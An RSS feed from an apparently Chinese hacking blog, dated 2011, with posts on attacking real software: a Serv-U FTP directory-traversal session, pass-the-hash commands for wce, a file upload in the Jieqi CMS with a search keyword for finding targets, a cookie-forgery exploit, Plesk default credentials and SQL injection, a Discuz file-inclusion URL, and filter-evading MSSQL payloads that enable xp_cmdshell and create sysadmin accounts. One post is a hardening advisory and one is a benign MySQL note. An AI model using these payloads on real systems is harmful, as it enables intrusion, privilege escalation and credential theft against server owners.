<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title>misssky&#039;sblog</title>
	<link>http://www.misssky.cn</link>
	<description>关注网络安全</description>
	<lastBuildDate>Sat, 10 Dec 2011 13:56:57 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.3.1" -->

	<item>
		<title>Serv-U目录跳转</title>
		<description><![CDATA[<div class="hl-surround"><div class="hl-main">I m better than TESO!<br /><br />CONFIDENTIAL SOURCE MATERIALS!<br /><br />&nbsp;<br /><br />[*]----------------------------------------------------[*]<br /><br />&nbsp;&nbsp; &nbsp;Serv-U FTP Server Jail Break 0day<br /><br />&nbsp;&nbsp; &nbsp;Discovered By Kingcope<br /><br />&nbsp;&nbsp; &nbsp;Year 2011<br /><br />[*]----------------------------------------------------[*]<br /><br />&nbsp;<br /><br />Affected:<br /><br />220 Serv-U FTP Server v7.3 ready...<br /><br />220 Serv-U FTP Server v7.1 ready...<br /><br />220 Serv-U FTP Server v6.4 ready...<br /><br />220 Serv-U FTP Server v8.2 ready...<br /><br />220 Serv-U FTP Server v10.5 ready...<br /><br />&nbsp;<br /><br />[*]----------------------------------------------------[*]<br /><br />C:\Users\kingcope\Desktop&gt;ftp 192.168.133.134<br /><br />Verbindung mit 192.168.133.134 wurde hergestellt.<br /><br />220 Serv-U FTP Server v6.4 for WinSock ready...<br /><br />Benutzer (192.168.133.134:(none)): ftp&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (anonymous user :&gt;)<br /><br />331 User name okay, please send complete E-mail address as password.<br /><br />Kennwort:<br /><br />230 User logged in, proceed.<br /><br />ftp&gt; cd &quot;/..:/..:/..:/..:/program files&quot;<br /><br />250 Directory changed to /LocalUser/LocalUser/LocalUser/LocalUser/program files<br /><br />ftp&gt; ls -la<br /><br />200 PORT Command successful.<br /><br />150 Opening ASCII mode data connection for /bin/ls.<br /><br />dr--r--r--&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 12 21:48 .<br /><br />dr--r--r--&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 12 21:48 ..<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Feb 14&nbsp; 2011 Apache Software Foundatio<br /><br />n<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Feb&nbsp; 5&nbsp; 2011 ComPlus Applications<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul 11 01:06 Common Files<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul&nbsp; 8 16:57 CoreFTPServer<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul 11 01:06 IIS Resources<br /><br />d---------&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul&nbsp; 8 16:12 InstallShield<br /><br />Installation Information<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul 29 15:07 Internet Explorer<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul&nbsp; 8 16:12 Ipswitch<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Feb 12&nbsp; 2011 Java<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul 26 13:19 NetMeeting<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul 29 14:39 Outlook Express<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul&nbsp; 8 15:39 PostgreSQL<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Nov 12 21:48 RhinoSoft.com<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Feb 12&nbsp; 2011 Sun<br /><br />d---------&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul 29 15:13 Uninstall Information<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Feb&nbsp; 5&nbsp; 2011 VMware<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul&nbsp; 8 15:34 WinRAR<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Jul 26 13:30 Windows Media Player<br /><br />drw-rw-rw-&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Feb&nbsp; 5&nbsp; 2011 Windows NT<br /><br />d---------&nbsp; &nbsp;1 user&nbsp; &nbsp; &nbsp;group&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0 Feb&nbsp; 5&nbsp; 2011 WindowsUpdate<br /><br />226 Transfer complete.<br /><br />FTP: 1795 Bytes empfangen in 0,00Sekunden 448,75KB/s<br /><br />ftp&gt;<br /><br />[*]----------------------------------------------------[*]<br /><br />with write perms:<br /><br />ftp&gt; put foo.txt ..:/..:/..:/foobar &lt;&lt;-- writes foo into root of partition<br /><br />[*]----------------------------------------------------[*]<br /><br />and as anonymous ftp:<br /><br />ftp&gt; get ..:/..:/..:/..:/windows/system32/calc.exe yes<br /><br />200 PORT Command successful.<br /><br />150 Opening ASCII mode data connection for calc.exe (115712 Bytes).<br /><br />226 Transfer complete.<br /><br />FTP: 115712 Bytes empfangen in 0,04Sekunden 2571,38KB/s<br /><br />[*]----------------------------------------------------[*]<br /><br />&nbsp;<br /><br />This works to!!! :<br /><br />&nbsp;<br /><br />220 Serv-U FTP Server v7.3 ready...<br /><br />Benutzer (xx.xx.xx.xx:(none)): ftp<br /><br />331 User name okay, please send complete E-mail address as password.<br /><br />Kennwort:<br /><br />230 User logged in, proceed.<br /><br />ftp&gt; ls &quot;-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\*&quot;<br /><br />200 PORT Command successful.<br /><br />150 Opening ASCII mode data connection for /bin/ls.<br /><br />.<br /><br />..<br /><br />AUTOEXEC.BAT<br /><br />boot.ini<br /><br />bootfont.bin<br /><br />bsmain_runtime.log<br /><br />CONFIG.SYS<br /><br />Documents and Settings<br /><br />FPSE_search<br /><br />Inetpub<br /><br />IO.SYS<br /><br />log<br /><br />MSDOS.SYS<br /><br />msizap.exe<br /><br />MSOCache<br /><br />mysql<br /><br />NTDETECT.COM<br /><br />ntldr<br /><br />Program Files<br /><br />RavBin<br /><br />RECYCLER<br /><br />Replay.log<br /><br />rising.ini<br /><br />System Volume Information<br /><br />TDDOWNLOAD<br /><br />WCH.CN<br /><br />WINDOWS<br /><br />wmpub<br /><br />226 Transfer complete. 317 bytes transferred. 19.35 KB/sec.<br /><br />FTP: 317 Bytes empfangen in 0,01Sekunden 21,13KB/s<br /><br />&nbsp;<br /><br />[*]----------------------------------------------------[*]<br /><br />Sometimes you need to give it the path:<br /><br />&nbsp;<br /><br />ftp&gt; ls &quot;-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\&quot;<br /><br />ftp&gt; ls &quot;-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\*&quot;<br /><br />200 PORT Command successful.<br /><br />150 Opening ASCII mode data connection for /bin/ls.<br /><br />.<br /><br />..<br /><br />360<br /><br />Adobe<br /><br />ASP.NET<br /><br />CCProxy<br /><br />CE Remote Tools<br /><br />cmak<br /><br />Common Files<br /><br />ComPlus Applications<br /><br />D-Tools<br /><br />FFTPServer<br /><br />HTML Help Workshop<br /><br />IISServer<br /><br />InstallShield Installation Information<br /><br />Intel<br /><br />Internet Explorer<br /><br />Java<br /><br />JavaSoft<br /><br />K-Lite Codec Pack<br /><br />Microsoft ActiveSync<br /><br />Microsoft Analysis Services<br /><br />Microsoft Device Emulator<br /><br />Microsoft MapPoint Web Service Samples<br /><br />Microsoft MapPoint Web Service SDK, Version 4.0<br /><br />Microsoft Office<br /><br />Microsoft Office Servers<br /><br />Microsoft Silverlight<br /><br />Microsoft SQL Server<br /><br />Microsoft Visual SourceSafe<br /><br />Microsoft Visual Studio 8<br /><br />Microsoft.NET<br /><br />MSBuild<br /><br />MSXML 6.0<br /><br />NetMeeting<br /><br />Outlook Express<br /><br />PortMap1.61<br /><br />Reference Assemblies<br /><br />Rising<br /><br />SQLXML 4.0<br /><br />SQLyog Enterprise<br /><br />STS2Setup_2052<br /><br />Symantec<br /><br />Thunder Network<br /><br />TSingVision<br /><br />Uninstall Information<br /><br />Windows Media Player<br /><br />Windows NT<br /><br />WindowsUpdate<br /><br />WinRAR<br /><br />226 Transfer complete. 835 bytes transferred. 50.96 KB/sec.<br /><br />FTP: 835 Bytes empfangen in 0,01Sekunden 64,23KB/s<br /><br />ftp&gt;</div></div>]]></description>
		<link>http://www.misssky.cn/technical-articles/serv-u-jump-directory/</link>
			</item>
	<item>
		<title>滲透利器wce</title>
		<description><![CDATA[转自hack520's Blog
可以抓到當前登陸在上面的域用戶HASH，xp~2008 都可以~X64 沒測試~上3389時請用console上才可正常運行~

wce.exe -l 列出當前域用戶HASH，如果你是普通YU用戶~而超級DOMAIN ADMIN又ONLINE時~
得到他HASH 之後~

wce.exe -s pig:Domainname:00000000000000000000000000000000:4A59CF37F6A2307D14ABA1921E8BBFE6 //例如pig是DOMAIN ADMIN

就可以把此豬的HASH，繼承到你當前DOMAIN USER 上，你就是pig.你無敵~]]></description>
		<link>http://www.misssky.cn/technical-articles/penetration-tool-wce/</link>
			</item>
	<item>
		<title>星外提权新思路&amp;星外安全公告(提权漏洞)</title>
		<description><![CDATA[声明，这不是什么星外0DAY，这充其量只是一个在找不到可写可执行目录的一个提权思路。我不敢说是我最先发现的，可能有其他人也发现了，并且也在利用了。
其实无数实例证明了lcx前辈那句话，细节决定成败。这只是入侵渗透中的细节问题，刚好我注意到了。下面正文开始。

众所周知要成功提权星外主机就要找到可写可执行目录，可近来星外主机的目录设置越来越BT，几乎没有可写可执行目录。所以另一个“提权思路”出现了。寻找服务器上安装的第3方软件某些文件的权限问题来进行文件替换，将这些文件替换为我们的cmd.exe和cscript.exe来提权，经我测试发现以下服务器常用软件的某些文件权限为Everyone即为所有用户权限，可以修改，可以上传同文件名替换，删除，最重要的是还可以执行。

首先是我们可爱的360杀毒。

c:\Program Files\360\360Safe\AntiSection\mutex.db 360杀毒数据库文件
c:\Program Files\360\360Safe\deepscan\Section\mutex.db 360杀毒数据库文件
c:\Program Files\360\360sd\Section\mutex.db 360杀毒数据库文件

c:\Program Files\360\360Safe\deepscan\Section\mutex.db这个文件，只要安装了360杀毒就一定存在，并且有Everyone权限。其他2个文件不一定。

c:\Program Files\Helicon\ISAPI_Rewrite3\error.log 伪静态设置软件ISAPI Rewrite日志文件
c:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log 伪静态设置软件ISAPI Rewrite日志文件
c:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf 伪静态设置软件ISAPI Rewrite配置文件

主要是ISAPI Rewrite 3.0版本存在权限问题，老版本暂时没发现有此类问题。

c:\Program Files\Common Files\Symantec Shared\Persist.bak 诺顿杀毒事件日志文件

c:\Program Files\Common Files\Symantec Shared\Validate.dat 诺顿杀毒事件日志文件

c:\Program Files\Common Files\Symantec Shared\Persist.Dat 诺顿杀毒事件日志文件

诺顿杀毒可能局限于版本，我本机XP并未找到以上文件

以下是最后2个可替换文件
c:\windows\hchiblis.ibl 华盾服务器管理专家文件许可证

c:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter\log.csv

DU Meter的流量统计信息日志文件

暂时知道以上文件权限为Everyone，注意，即使可替换文件的所在目录你无权访问，也照样可以替换执行。比如D:\Program Files\360\360Safe\deepscan\Section\mutex.db，可D:\Program Files\360\360Safe\deepscan\Section目录没有访问权限，用BIN牛的aspx大马访问D:\Program Files\360\360Safe\deepscan\Sectio显示拒绝访问，可mutex.db文件在该目录下，你照样可以上传由cmd.exe换名后的mutex.db文件进行替换。

这样一来在没有找到可写可执行目录时候，不防查看服务器上是否安装了以上软件，有的话可以上传同文件名替换原文件为你的提权文件。这样就可以成功执行了。

===========================================================================

目录或文件的权限设置有错会造成入侵!
为了从根本上解决问题,我们建议所有用户升级受控端安装包到2011-3-15版,并点击设置"ASP.net严格安全模型",以下所说的问题所有设置了asp.net严格安全的用户不受影响.

对于服务器上的杀毒软件,我们建议装Mcafee,请不重装360,很多版本的360都有提权问题.

在2011-6-8星外发布了新版的星外杀马扫描工具(在群共享或星外后台可以下载)

在扫描结果中我们发现在大量服务器存在以下问题.

文件:C:\WINDOWS\TAPI\tsec.ini 
处理办法:直接完全删除这个文件(不要保留在回收站)

360的 
文件:C:\Program Files\360\360sd\Section\mutex.db 
文件:C:\Program Files\360\360Safe\deepscan\Section\mutex.db 
文件:C:\Program Files\360\360Safe\AntiSection\mutex.db 
处理办法:直接完全删除360,所有360删除光后留下的文件都要删除

Flash: 
文件:C:\WINDOWS\system32\Macromed\Flash\Flash10q.ocx 
处理办法:直接完全删除(不要保留在回收站),不要在服务器上装Flash组件


IISrewrite3 
文件:C:\Program Files\Helicon\ISAPI_Rewrite3\Rewrite.log 
文件:C:\Program Files\Helicon\ISAPI_Rewrite3\httpd.conf 
文件:C:\Program Files\Helicon\ISAPI_Rewrite3\error.log 
处理办法:将三个文件的权限改成erveryone只读权限(没有写的权限)


DU Meter的流量统计信息日志文件 
c:\Documents and Settings\All Users\Application Data\Hagel Technologies\DU Meter\log.csv 
处理办法:删除它

诺顿 
c:\Program Files\Common Files\Symantec Shared\Persist.bak 
c:\Program Files\Common Files\Symantec Shared\Validate.dat 
c:\Program Files\Common Files\Symantec Shared\Persist.Dat 
处理办法:直接完全删除这个软件

华盾 
文件:C:\WINDOWS\hchiblis.ibl 
处理办法:直接完全删除这个过滤软件,如果因为别的原因不能删除,可以将权限改成everyone读与写,不能有everyone运行的权限.

一流过滤: 
文件:C:\7i24.com\iissafe\log\startandiischeck.txt 
文件:C:\7i24.com\iissafe\log\scanlog.htm 
如果已经是最新版本的一流(2011-2-19)就不需要处理,如果是旧版本的,要先删除这两个文件,然后再升级一流.正常情况下,这两个文件只有everyone读写的权限(没有运行)


其他有可能提示的文件: 
文件:C:\WINDOWS\Temp\Temporary Internet Files\Content.IE5\index.dat 
文件:C:\WINDOWS\Temp\History\History.IE5\index.dat 
文件:C:\WINDOWS\Temp\Cookies\index.dat 
检查文件在高级权限管理中,是不是有everyone运行的权限,如果没有,就不用处理,如果有运行的权限要取消运行权限

文件:C:\7i24.com\LinkGate\log\.... 
目录:C:\7i24.com\LinkGate\log 
目录:C:\7i24.com\serverdoctor\log\ 
文件:C:\7i24.com\serverdoctor\log\.... 
不需要处理,星外的防盗链,服务器医生等软件默认已自动设置好权限

如果看下这样的提示: 
2011-6-8 15:04:50,方法失败，意外错误代码为 32。 
这是扫描软盘A:造成的,不用处理

部分zend版本可能有这个提示: 
文件:C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0\php-5.2.x\ZendOptimizer.dll 
目录:C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0\php-5.2.x...... 
处理办法:将everyone的权限删除,改成adms,system全部权限,users只读权限.


处理后,请再用星外杀马扫描一次.]]></description>
		<link>http://www.misssky.cn/technical-articles/freehost-mention-the-right-to-new-ideas/</link>
			</item>
	<item>
		<title>杰奇小说连载系统任意文件上传0day</title>
		<description><![CDATA[注册用户
进入空间-相册-上传
用oprea活firefox修改源码 
有个*.jpg *.gif的地方改成*。*就能上传任意文件

关键字：inurl:modules/space


我也不知道谁的版权   勿喷

js 本地验证上传类型  很少遇到php 有这样的漏洞   作为一个经典的案例吧]]></description>
		<link>http://www.misssky.cn/technical-articles/jieqi-serialized-novel-system-arbitrary-file-upload-0day/</link>
			</item>
	<item>
		<title>正版逍遥网店系统 V3.0 COOKIE欺骗漏洞</title>
		<description><![CDATA[正版逍遥网店系统 V3.0
BY：风之传说
刚才我挖了一个洞，然后我一个朋友刚好又叫我帮他看源码郁闷又发现了一个~！这人品是咋滴。。
当然还很感谢心灵大牛的指导哈哈~！
OK开始，这是一个网店，本来我想先找注入，貌似注入都过滤了。于是我又来到后台，看了下检测文件，悲剧由此产生：
漏洞文件：checkadmin.asp<div class="hl-surround"><div class="hl-main">&lt;!--r /&gt; if request.cookies(&quot;buyok&quot;)(&quot;admin&quot;)=&quot;&quot; then response.write &quot;&lt;meta http-equiv='refresh' content='0;URL=../admin.asp'&gt;&quot;<br />--&gt;</div></div>大家看到这里一定以为很简单吧，呵呵 直接COOKIE欺骗就可以进后台，如果真的这样我就不发了~！留个悬念让大家去试试。
然后我进入后台，http://127.0.0.1/admin/index.asp.自动跟我弹了回来。我当时就郁闷了。继续看代码。
index.asp
<div class="hl-surround"><div class="hl-main">&lt;!--#include file=&quot;checkadmin.asp&quot;--&gt;<br /><br /><br /><br /><br /><br />&lt;script&gt;// &lt;![CDATA[<br />if (top != self)top.location.href = &quot;index.asp&quot;; <br />// ]]&amp;gt;&lt;/script&gt;</div></div>看到这里我奇怪了，是调用checkadmin.asp啊 为什么进不了后台。我看到了main.asp。
继续跟进。代码就不发了免得多，最后发现了一个文件。
漏洞文件：include\buyok_functions.asp
下面贴出部分代码：
<div class="hl-surround"><div class="hl-main">set rscheck=conn.execute(&quot;select * from buyok_user where UserId='&quot;&amp;amp;request.cookies(&quot;buyok&quot;)(&quot;userid&quot;)&amp;amp;&quot;'&quot;)<br />if rscheck.eof and rscheck.bof then<br />response.write &quot;&lt;script&gt;// &lt;![CDATA[<br />&quot;<br />response.write &quot;alert('对不起，您还没有注册或登陆。');&quot;<br />response.write &quot;location.href='javascript:history.go(-1)';&quot;<br />response.write &quot;<br />// ]]&amp;gt;&lt;/script&gt;&quot;<br />response.end</div></div>看到这里大家都懂了吧 呵呵~！
OK附上EXP：
KHWJCNQIVQNSXKMKKYHP=GVPLGBWIQTXZICBWSAALROKUCZBJDYHJMYPDEMHE; buyok=userid=1&#38;temp=login&#38;admin=admin;
修改COOKIE 然后直接进入http://l127.0.0.1/admin/index.asp.
后台：http://localhost/admin/login.asp]]></description>
		<link>http://www.misssky.cn/technical-articles/xiaoyaonetshop-v3-0-cookie-vulnerability/</link>
			</item>
	<item>
		<title>plesk panel 虚拟主机管理平台 0day</title>
		<description><![CDATA[<table cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td id="postmessage_208775">其实这个漏洞，一年前一个朋友就告诉我了，一直也没怎么玩这个，具体利用 我也没怎么太多去试。好象有点点麻烦， 看到别人都已经放出来了，我也丢出来吧。大家去试吧，


1,在<a href="http://xxxxxx.com:8880/" target="_blank">http://xxxxxx.com:8880</a>这里，默认的管理员账户密码是admin   密码stepu


2，在<a href="https://xxxxx.com:8443/" target="_blank">https://xxxxx.com:8443</a>

mssql版本

账号 ' union select top 1 login+char(124)+passwd from admin_aliases--

报错,爆出账号密码

登陆后server--&#62;remote desktop账号密码一样
拿到服务器权限

mysql版本
'union select '-1 union select 1,1,1#'#   密码填 1</td>
</tr>
</tbody>
</table>]]></description>
		<link>http://www.misssky.cn/technical-articles/plesk-panel-virtual-host-management-platform-0day/</link>
			</item>
	<item>
		<title>DISCUZ X1.5 本地文件包含漏洞</title>
		<description><![CDATA[DISCUZX1.5 本地文件包含，当然是有条件的，就是使用文件作为缓存。

<div class="hl-surround"><div class="hl-main">config_global.php<br />$_config['cache']['type'] = ‘file’;</div></div>
地址：
http://localhost:8080/bbs/forum.php?mod=post&#38;action=threadsorts&#38;sortid=ygjgj/../../../api/uc

function cachedata($cachenames) {
……
$isfilecache = getglobal(‘config/cache/type’) == ‘file’;
……
if($isfilecache) {
$lostcaches = array();
foreach($cachenames as $cachename) {
if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {
$lostcaches[] = $cachename;
}
}

……
}

http://localhost:8080/bbs/forum.php?mod=post&#38;action=threadsorts&#38;sortid=ygjgj/../../../api/ucAuthracation has expiried

执行了 api/uc.php 页面代码了。]]></description>
		<link>http://www.misssky.cn/technical-articles/discuz-x1-5-local-file-include-vulnerability/</link>
			</item>
	<item>
		<title>mysql移植之将latin1编码更换为utf-8编码</title>
		<description><![CDATA[1、备份数据库

mysqldump --default-character-set=latin1 --create-options=false --set-charset=false -u root -p 数据库名称

>E:\back.sql

2、创建新数据库

CREATE DATABASE 数据库名称 CHARACTER SET utf8 COLLATE utf8_general_ci;

3、导入数据

mysql -u root -p --default-character-set=gbk 数据库名称<E:\back.sql]]></description>
		<link>http://www.misssky.cn/sql/mysql-latin1-to-utf-8/</link>
			</item>
	<item>
		<title>SQL高级注入使用之储存过程</title>
		<description><![CDATA[<div class="hl-surround"><div class="hl-main">sql2005恢复xp_cmdshell<br />EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;<br />关闭:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;<br />零、<br />---------------<br />-- 添加SA用户--<br />---------------<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />1、exec master.dbo.sp_addlogin system;<br />2、exec master.dbo.sp_addlogin system,system;<br />3、exec master.dbo.sp_addsrvrolemember itpro,sysadmin<br /><br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />防注入 sa:itpro pass:itpro<br />declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f as varchar(4000));exec(@s); declare @c varchar(4000) set @c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f as varchar(4000));exec(@c); declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1<br /><br />防注入 sa:system pass:system<br />declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d as varchar(4000));exec(@s);declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1<br />一、<br />--------------<br />-恢复存储过程-<br />--------------<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />use master<br />exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'<br />exec sp_dropextendedproc &quot;xp_cmdshell&quot;<br />exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'<br />exec sp_dropextendedproc 'xp_cmdshell'<br />exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'<br />exec sp_addextendedproc xp_dirtree,'xpstar.dll'<br />exec sp_addextendedproc xp_enumgroups,'xplog70.dll'<br />exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'<br />exec sp_addextendedproc xp_loginconfig,'xplog70.dll'<br />exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'<br />exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'<br />exec sp_addextendedproc sp_OACreate,'odsole70.dll'<br />exec sp_addextendedproc sp_OADestroy,'odsole70.dll'<br />exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'<br />exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'<br />exec sp_addextendedproc sp_OAMethod,'odsole70.dll'<br />exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'<br />exec sp_addextendedproc sp_OAStop,'odsole70.dll'<br />exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'<br />exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'<br />exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'<br />exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'<br />exec sp_addextendedproc xp_regread,'xpstar.dll'<br />exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'<br />exec sp_addextendedproc xp_regwrite,'xpstar.dll'<br />exec sp_addextendedproc xp_availablemedia,'xpstar.dll'<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />恢复cmdshell防注入<br />============================================================<br />declare @a varchar(255),@b varchar(255),@c varchar(255);<br />set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63;<br />set @b=0x78705F636D647368656C6C;<br />set @c=0x78706C6F6737302E646C6C;<br />exec @a @b,@c<br />============================================================<br /><br />二、<br /><br />----------------------------------<br />--恢复sp_addextendedproc存储过程--<br />----------------------------------<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br />create procedure sp_addextendedproc --- 1996/08/30 20:13<br />@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as<br />set implicit_transactions off<br />if @@trancount &gt; 0<br />begin<br />raiserror(15002,-1,-1,'sp_addextendedproc')<br />return (1)<br />end<br />dbcc addextendedproc( @functname, @dllname)<br />return (0) -- sp_addextendedproc<br />GO<br />&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;<br /><br />三、<br />--------------------------<br />--使用存储过程加管理方法--<br />--------------------------<br 